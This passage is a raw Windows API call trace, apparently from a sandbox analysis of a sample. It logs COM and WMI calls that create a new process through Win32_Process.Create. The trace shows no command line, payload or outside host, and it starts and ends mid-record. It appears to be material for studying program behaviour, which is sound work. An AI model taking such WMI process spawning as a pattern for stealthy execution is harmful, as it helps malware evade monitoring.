This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5118b8) returned 0x0 [0127.226] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0127.226] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0127.226] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0127.227] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0127.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5118b8) returned 0x0 [0127.227] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0127.227] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0127.227] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0127.227] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0127.227] IWbemServices:ExecMethod (in: This=0x1b4ce9e0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4d12b0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b412e90, ppCallResult=0x0) returned 0x0 [0127.362] IWbemClassObject:Get (in: This=0x1b412e90, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2955cf0*=0, plFlavor=0x2955cf4*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x55c, varVal2=0x0), pType=0x2955cf0*=19, plFlavor=0x2955cf4*=0) returned 0x0 [0127.362] IWbemClassObject:Get (in: This=0x1b412e90, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2955cf0*=19, plFlavor=0x2955cf4*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x55c, varVal2=0x0), pType=0x2955cf0*=19, plFlavor=0x2955cf4*=0) returned 0x0 [0127.362] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0127.362] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0127.363] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0127.363] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.363] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b483a70) returned 0x0 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483a70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0127.364] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483a70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4afee0) returned 0x0 [0127.364] WbemDefPath:IUnknown:Release (This=0x1b483a70) returned 0x0 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4afee0) returned 0x0 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0127.364] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b483eb0) returned 0x0 [0127.364] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483eb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.364] WbemDefPath:IUnknown:Release (This=0x1b483eb0) returned 0x3 [0127.364] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0127.364] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0127.365] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0127.365] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0127.365] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0127.365] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0127.365] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4afee0) returned 0x0 [0127.365] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0127.365] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0127.365] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afee0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0127.365] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afee0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0127.365] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0127.365] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0127.365] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0127.365] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.366] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b483f50) returned 0x0 [0127.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483f50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0127.366] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483f50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4affa0) returned 0x0 [0127.366] WbemDefPath:IUnknown:Release (This=0x1b483f50) returned 0x0 [0127.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4affa0) returned 0x0 [0127.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0127.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0127.366] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0127.366] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0127.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0127.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b483c70) returned 0x0 [0127.367] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.367] WbemDefPath:IUnknown:Release (This=0x1b483c70) returned 0x3 [0127.367] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0127.367] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0127.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0127.367] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0127.367] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0127.367] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0127.367] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0127.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4affa0) returned 0x0 [0127.367] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0127.367] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0127.367] WbemDefPath:IWbemPath:SetText (This=0x1b4affa0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0127.367] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0127.367] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0127.367] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0127.367] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4affa0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0127.367] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0127.367] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4affa0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0127.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0127.368] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0127.368] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0127.368] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.368] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0127.368] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0127.368] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0127.368] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.369] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b484010) returned 0x0 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b484010, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0127.369] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b484010, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af220) returned 0x0 [0127.369] WbemDefPath:IUnknown:Release (This=0x1b484010) returned 0x0 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af220) returned 0x0 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0127.369] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0127.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b483bf0) returned 0x0 [0127.369] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483bf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.369] WbemDefPath:IUnknown:Release (This=0x1b483bf0) returned 0x3 [0127.370] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0127.370] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0127.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0127.415] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0127.415] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0127.415] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0127.415] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0127.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af220) returned 0x0 [0127.415] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0127.415] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0127.415] WbemDefPath:IWbemPath:SetText (This=0x1b4af220, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.415] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0127.415] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0127.415] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.415] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0127.416] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0127.416] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, 